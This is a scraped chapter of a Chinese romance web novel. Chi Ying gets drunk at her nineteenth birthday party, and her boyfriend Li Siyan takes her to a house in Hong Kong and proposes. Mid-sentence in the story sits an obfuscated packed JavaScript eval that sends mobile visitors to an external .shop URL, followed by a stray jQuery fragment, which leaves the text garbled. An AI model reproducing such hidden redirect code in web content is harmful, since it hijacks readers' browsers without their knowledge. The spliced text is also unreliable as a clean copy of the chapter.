文趣网 > 都市小说 > 婚内出逃 > 22. 喝醉
    舞台剧终演那晚,利斯言亲自捧场,并以利安慈善基金会的名义,给所有参演的学生送了鲜花,又当着座无虚席的观众,牵着池楹的手入场观演。

    终演当晚,亦是周末,池楹宿在了珺和。

    洗漱好,她打开电视机当白噪音,关掉灯,然后去床上,她照例把酒店标配的双枕中的一个扔到一边,准备躺下。

    挨着枕头,她总感觉有硬物,于是伸手摸枕底。

    指尖触到丝绒的触感,一顿,她猛地坐起身,把东西拿到眼前。

    是个黑色丝绒方盒。

    迟疑了一瞬,她才掀开盒盖。

    嵌在黑色丝绒凹格里的金色珠光在暗夜里漫开,像满月落进深海。

    她嘴微微张开,说不出话。

    原来后备箱里塞满的粉色芍药,并不是他说的大礼。

    这串金珠项链才是。

    她呆坐了几秒,才把项链取出来,笨拙地扣上,然后穿上拖鞋,小跑到浴室。

    镜子里,素色睡衣领口,垂着一串温润的金色珠链。

    她偏着头看,又侧过身看,忍不住抬手摸了摸锁骨上的珠子,这不是日常能戴的款。她想着,配黑色礼服最好看,头发也要挽起来,露出脖颈和耳际的线条。

    可她有什么场合穿礼服呢?

    这个念头刚冒出来,答案便不请自来。

    和他订婚,结婚。

    她被自己的想法吓了一跳。

    手机就在这时响起来。

    是利斯言的电话。

    他问得刻意:“你还没躺在床上吗?”

    她反问:“利斯言,你开心吗?”

    静了一秒,池楹听见一声极轻极短的鼻息,是笑的尾音。

    “很开心。”他说。

    不知怎的,她眼角浸出湿意。

    当初给姚思怡挑生日礼物,她纠结了许久。送太贵,怕对方回礼时为难;送价位合适的,又显得敷衍普通。最后,她还是循了自己的心意,选了自认为最满意的那份。

    她找机会把礼物放在姚思怡的枕头下,之后的每一分每一秒,她都在期待,寿星掀开枕头时,会不会惊喜到说不出话来。

    一想到这,她就很开心。

    她想利斯言也一样。

    镜子里戴金珠的女孩笑了起来,对电话里的人说:“你开心,我就开心。”

    无论他送的是什么。

    /

    直到这学期结束,利斯言都没有跨过那条线,池楹倒是习惯了他把接吻变成像呼吸一样自然的事。

    暑假,池楹回了苏城。

    大多时候她窝在家里做娃衣,空闲时和利斯言打打电话,偶尔去会所的泳池游几圈。

    利斯言来了三趟苏城,每次待上两三天。苏城的夏天太热,两人约会依旧是全日窝在酒店里。他最后一次来,是专程接她去广市开学。

    池方伟主动留他吃了顿饭,饭桌上依旧没什么特别的场面话,但他能把人留下来,本身就已经是某种表态了。

    这其中少不了凌若君的功劳,她几乎每隔一个月就跑趟广市,名义上是看望池楹,实则多是打探两人的恋情进展。池方伟从她口中得知两人没过界,安心不少,但仍有些不快。说到底,他对利家始终不满意。

    再回到广市,池楹的大学生活发生了些变化。

    同宿舍四个人,到了大二这一年,各自的路开始变得清晰分明。

    何寄云家境不好,考研不现实,她打算毕业后回鲁城考编;周宁计划大二就把四六级考完,同时为考研和出国铺开两手准备。

    广市本地的姚思怡要悠闲得多,家里做瓷砖加工,毕业后直接回厂里帮忙。

    只有池楹是四人当中,唯一不用为毕业后做打算的人。

    她们都默认池楹只需要等着做少奶奶就行,这话听着像句玩笑,但利斯言在她十九周岁生日那天,透了底。

    池楹的生日是11月10日,天蝎座。

    巧的是,利斯言也是天蝎座,俩人的生日前后就差了7天。

    生日派对办在HK,利明轩的酒吧。

    酒吧开在太平山街上,这里有画廊、独立书店、设计师买手店、以及门面极窄的精品咖啡店。傍晚去往酒吧的路上,池楹拉着利斯言细细逛了一路。

    说是派对,其实也只有三人,池楹和利家兄弟俩。这天特意停业,场地简单布置过。桌上摆着生日蛋糕,小食和各类酒水。

    兄弟俩分别送了生日礼物,加上也没别人在场,池楹一高兴一放开,就多喝了几杯,最后是利斯言抱着她离开的。

    车里,她蜷在男人温热的怀抱里,鸡尾酒后劲足,整个人晕陶陶的,分不清现实和幻境。

    她舔了舔嘴唇,嘟囔着:“我还要喝。”

    熟悉的气息靠近,接着吻落在她水润的唇上。

    “好,等下继续喝。”

    她开心地举手耶了一声。

    这就是利斯言,爱她的利斯言,永远不会否定她任何决定的利斯言。

    车在渣甸山停下,池楹醉意散了部分,下车后勉强能站着,她看着眼前陌生的建筑,晃了晃脑袋:“这是哪?”

    利斯言一把将她横抱起来:“我们的家。”

    /

    进了玄关,池楹才被放下,男人弯身蹲下,替她换上舒服的拖鞋。

    没等他把自己的鞋换好,池楹往前走了几步,脚下发飘,晃了晃,只好停住,四处打量。

    美式复古风格,色调偏暗,软装很有格调。

    不多时,男人的手臂从身后拢住她,就近带进了开放式厨房。水龙头拧开,冷水沾湿了棉巾,轻轻擦上她的脸。

    她清醒了些:“为什么来这里?”

    利斯言试着绕晕她:“不是你说要继续喝?”

    “是吗?”

    “不信?你可以问司机,他人就在外面。”

    “好,我去问问。”

    “……回来。”

    利斯言头一回遇见喝醉了还不好糊弄的,好在她也只是虚张声势。

    他从边柜找出醒酒药,掰出两颗,哄着她就着温水喝了下去。她抬手接过水杯时,一侧的毛海马长款开衫滑落,垂在手肘处,露出里面的莫迪蓝吊带衫。

    视线垂落之处,是纤细的手臂。

    再是大片的细腻白皙。

    他正要替她拉上,结果她自己把另一侧给扯了下来,毛衣掉落在地。

    “好热。”她不知道自己的声音是怎样的娇,只觉得这屋子无风,又温水下肚,热意上腾。

    地上的毛衣被人捡起来,接着被挂在沙发背上。

    “利斯言,我想喝冰水。”

    “利斯言,卫生间在哪?”

    “利斯言,我有点难受。”

    “……”

    话没说完,利斯言握住她手腕,往里走。

    手腕受力明显,不柔和。

    她吃痛地挣了挣:“你轻点。”

    须臾,利斯言压了过来。

    果着的后背抵上墙面,凉意穿透皮肤,激得她浑身一颤。

    不过一秒,唇齿间尽是他的气息。

    他们接吻已成肌肉记忆,她抬手就搂住他的脖颈,整个人贴了上去。

    主动的,黏腻的,热烈的。

    她自己都不知道自己有多放肆,指尖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721689|208691||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嵌进他后脑的发丝里,轻轻喘着,在他唇边不知轻重地笑:“利斯言,你怎么也这么热?”

    是啊,他也很热。

    但他不想回应面前的罪魁祸首,松开了她,接着把人带卫生间去。

    “自己可以吗?”他有些不放心。

    池楹点点头,又拍拍他肩膀,示意他安心。

    利斯言气笑,竟摸不透她到底醉没醉。

    门关上,他没逗留,直接返回厨房,开冰箱取了瓶冰水,拧开灌下。气血还在上涌,以至于喝得有点暴躁,水从嘴角溢出来,顺着下巴流下,滑进胸口。

    蛇一样妖娆的触感。

    水灌了大半,扔掉,他又从冰箱里取了一瓶新的。

    此时池楹已经出来,走路还有点晃,不知是不是醒酒药效果上来了,她说了句正常的话。

    “利斯言,我想洗澡,可行李箱还在酒店,换什么衣服呀?”

    “不洗,先去睡,明天我让人把行李箱送过来。”

    气氛突兀地安静下来。

    她终于觉出奇怪:“我为什么要住这里?”

    利斯言捏紧手里的冰水,眉间却温柔下来,耐心纠正她:“因为这是我们的家。”

    “……什么意思?”不能怪她迟钝,实在是话题指向过于现实,她只在池方伟和凌若君的争吵里听过。事关房本上的名字,凌若君不止一次控诉池方伟处处提防她,开口闭口都是这根本不是我们的家,只是你的家。

    想到那些争吵过往,她多少有点应激,不自觉向后退了一步。

    利斯言不知她短短一瞬里想了那么多,依旧如常抚上她细腻的脸。这些话,他原本打算在酒吧里说的,算是承诺,谁料她喝醉,索性他就一步到位带她回来。

    早些晚些并没有什么不同,他这样想着,手从脸上离开,落在她腰侧,拥紧她。

    “楹楹,我们结婚吧。”

    池楹酒意瞬间醒了大半。

    在她原本的规划里,毕业之后她想留在广市,或者去深城工作,总之不回苏城。她会租一间小小的公寓,朝九晚五,下班后逛超市、给自己做饭、周末窝在沙发上看剧。

    她想享受一段真正意义上的自由空间。

    现在,结婚却突然摆在面前,她措手不及。

    利斯言看她久久不说话,抬手捏了捏她的脸颊,“傻女,怎么不说话?”

    她脑子飞速转了一圈,终于找到一个合理又正当的借口:“……我还没满20周岁,领不了证。”

    声音有些微的颤,她自己也听出来了,于是更心虚。

    利斯言倒是干脆:“那满20周岁,我们再领证。”

    池楹抬眼,对上他的目光。

    他的眼底有期待,有笃定。

    那句‘我不想结婚’就在嘴边,她说不出口。

    “可不可以……等我毕业?”

    也许还未毕业,他们就会发现彼此不适合,届时也就无需谈论结婚一事。

    面前的男人沉吟片刻,随即点头:“可以,正好趁你读书这段时间,我们慢慢地把婚纱照、礼服、戒指这些提前准备好。等你一毕业,直接办婚礼就行。”他停了停,又说,“我过段时间去一趟苏城,找叔叔聊一下彩礼的事。”

    池楹站在他对面,感觉自己像是一条被无形的手轻轻拢住的河流,水流还在往前淌,但河道已经被悄然改向。

    利斯言看着她沉默,没有催她回应,只是把她往怀里带了带:“楹楹,你什么也不用操心,一切都有我。”

    她靠在他胸口,看着屋内摆设。

    这间洋房,确实很好。可她还没想好,要不要把它变成‘家’。